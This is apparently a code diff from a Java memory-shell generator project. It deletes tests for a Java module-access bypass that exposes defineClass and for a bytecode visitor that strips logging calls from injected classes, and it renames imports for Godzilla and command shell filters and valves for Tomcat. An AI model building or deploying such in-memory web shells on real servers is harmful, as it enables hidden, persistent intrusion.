org.apache.coyote.ser.std.RawSerializer
org.apache.coyote.ser.std.ReferenceTypeSerializer
org.apache.coyote.ser.std.SerializableSerializer
org.apache.coyote.ser.std.SqlDateSerializer
org.apache.coyote.ser.std.SqlTimeSerializer
org.apache.coyote.ser.std.StaticListSerializerBase
org.apache.coyote.ser.std.StdArraySerializers
org.apache.coyote.ser.std.StdDelegatingSerializer
org.apache.coyote.ser.std.StdJdkSerializers
org.apache.coyote.ser.std.StdKeySerializer
org.apache.coyote.ser.std.StdKeySerializers
org.apache.coyote.ser.std.StdScalarSerializer
org.apache.coyote.ser.std.StdSerializer
org.apache.coyote.ser.std.StringSerializer
org.apache.coyote.ser.std.TimeZoneSerializer
org.apache.coyote.ser.std.ToStringSerializer
org.apache.coyote.ser.std.ToStringSerializerBase
org.apache.coyote.ser.std.TokenBufferSerializer
org.apache.coyote.ser.std.UUIDSerializer
org.apache.coyote.type.ArrayType
org.apache.coyote.type.ClassKey
org.apache.coyote.type.ClassStack
org.apache.coyote.type.CollectionLikeType
org.apache.coyote.type.CollectionType
org.apache.coyote.type.MapLikeType
org.apache.coyote.type.MapType
org.apache.coyote.type.PlaceholderForType
org.apache.coyote.type.ReferenceType
org.apache.coyote.type.ResolvedRecursiveType
org.apache.coyote.type.SimpleType
org.apache.coyote.type.TypeBase
org.apache.coyote.type.TypeBindings
org.apache.coyote.type.TypeFactory
org.apache.coyote.type.TypeModifier
org.apache.coyote.type.TypeParser
org.apache.coyote.util.AccessPattern
org.apache.coyote.util.Annotations
org.apache.coyote.util.ArrayBuilders
org.apache.coyote.util.ArrayIterator
org.apache.coyote.util.BeanUtil
org.apache.coyote.util.ByteBufferBackedInputStream
org.apache.coyote.util.ByteBufferBackedOutputStream
org.apache.coyote.util.ClassUtil
org.apache.coyote.util.CompactStringObjectMap
org.apache.coyote.util.Converter
org.apache.coyote.util.EnumResolver
org.apache.coyote.util.EnumValues
org.apache.coyote.util.ISO8601DateFormat
org.apache.coyote.util.ISO8601Utils
org.apache.coyote.util.JSONPObject
org.apache.coyote.util.JSONWrappedObject
org.apache.coyote.util.LRUMap
org.apache.coyote.util.LinkedNode
org.apache.coyote.util.NameTransformer
org.apache.coyote.util.Named
org.apache.coyote.util.ObjectBuffer
org.apache.coyote.util.PrimitiveArrayBuilder
org.apache.coyote.util.RawValue
org.apache.coyote.util.RootNameLookup
org.apache.coyote.util.SimpleBeanPropertyDefinition
org.apache.coyote.util.StdConverter
org.apache.coyote.util.StdDateFormat
org.apache.coyote.util.TokenBuffer
org.apache.coyote.util.TokenBufferReadContext
org.apache.coyote.util.TypeKey
org.apache.coyote.util.ViewMatcher
@@ -1,33 +0,0 @@
package com.reajason.javaweb.buddy;
import lombok.SneakyThrows;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.EnabledOnJre;
import java.lang.reflect.InaccessibleObjectException;
import java.lang.reflect.Method;
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.condition.JRE.JAVA_17;
/**
* @author ReaJason
* @since 2024/12/7
*/
class ByPassJavaModuleInterceptorTest {
@Test
@SneakyThrows
@EnabledOnJre(JAVA_17)
void testByPassModule() {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
assertThrows(InaccessibleObjectException.class, () -> {
defineClass.setAccessible(true);
});
ByPassJavaModuleInterceptor.enter(this.getClass());
assertDoesNotThrow(() -> {
defineClass.setAccessible(true);
});
}
}
@@ -1,119 +0,0 @@
package com.reajason.javaweb.buddy;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.pool.TypePool;
import org.junit.jupiter.api.Test;
import java.util.logging.Logger;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.mockito.Mockito.*;
/**
* @author ReaJason
* @since 2024/12/4
*/
@Slf4j
class LogRemoveVisitorWrapperTest {
@Test
void testExtend() {
DynamicType.Builder<?> builder = new ByteBuddy().subclass(Object.class);
DynamicType.Builder<?> extendedBuilder = LogRemoveMethodVisitor.extend(builder);
assertNotNull(extendedBuilder);
assertNotEquals(builder, extendedBuilder);
}
@Test
void testWrap() {
LogRemoveMethodVisitor visitor = LogRemoveMethodVisitor.INSTANCE;
TypeDescription instrumentedType = mock(TypeDescription.class);
MethodDescription instrumentedMethod = mock(MethodDescription.class);
MethodVisitor methodVisitor = mock(MethodVisitor.class);
Implementation.Context implementationContext = mock(Implementation.Context.class);
TypePool typePool = mock(TypePool.class);
MethodVisitor wrappedVisitor = visitor.wrap(instrumentedType, instrumentedMethod, methodVisitor,
implementationContext, typePool, 0, 0);
assertNotNull(wrappedVisitor);
assertNotEquals(methodVisitor, wrappedVisitor);
}
@Test
void testVisitMethodInsn_RemoveSystemOutPrintln() {
MethodVisitor methodVisitor = mock(MethodVisitor.class);
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
}
@Test
void testVisitMethodInsn_RemovePrintStackTrace() {
MethodVisitor methodVisitor = mock(MethodVisitor.class);
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
}
@Test
void testVisitMethodInsn_KeepOtherMethodCalls() {
MethodVisitor methodVisitor = mock(MethodVisitor.class);
MethodVisitor wrappedVisitor = LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0);
wrappedVisitor.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
verify(methodVisitor).visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
}
@Test
void testIntegration() throws Exception {
// Use ByteBuddy to create a new class with log statements removed
DynamicType.Unloaded<TestClass> make = new ByteBuddy()
.redefine(TestClass.class)
.name("com.reajason.javaweb.buddy.TestClass1")
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
.make();
byte[] bytes = make.getBytes();
// Files.write(Paths.get("xx.class"), bytes);
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
modifiedClass.getMethod("methodWithLogs").invoke(instance);
}
public static class TestClass {
static Logger logger = Logger.getLogger(TestClass.class.getName());
public TestClass() {
}
public static void methodWithLogs() {
System.out.println("This should be removed");
String test = "test";
int length = test.length();
logger.info(test);
try {
System.out.println("hello");
throw new RuntimeException("hello");
} catch (Exception e) {
e.printStackTrace();
}
logger.warning("wa");
}
public static void main(String[] args) {
methodWithLogs();
}
}
}
File diff suppressed because one or more lines are too long
@@ -1,5 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memshell.tomcat.command;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.CommandGenerator;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
@@ -1,12 +1,12 @@
package com.reajason.javaweb.memshell.tomcat.godzilla;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.GodzillaGenerator;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.util.ClassUtils;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;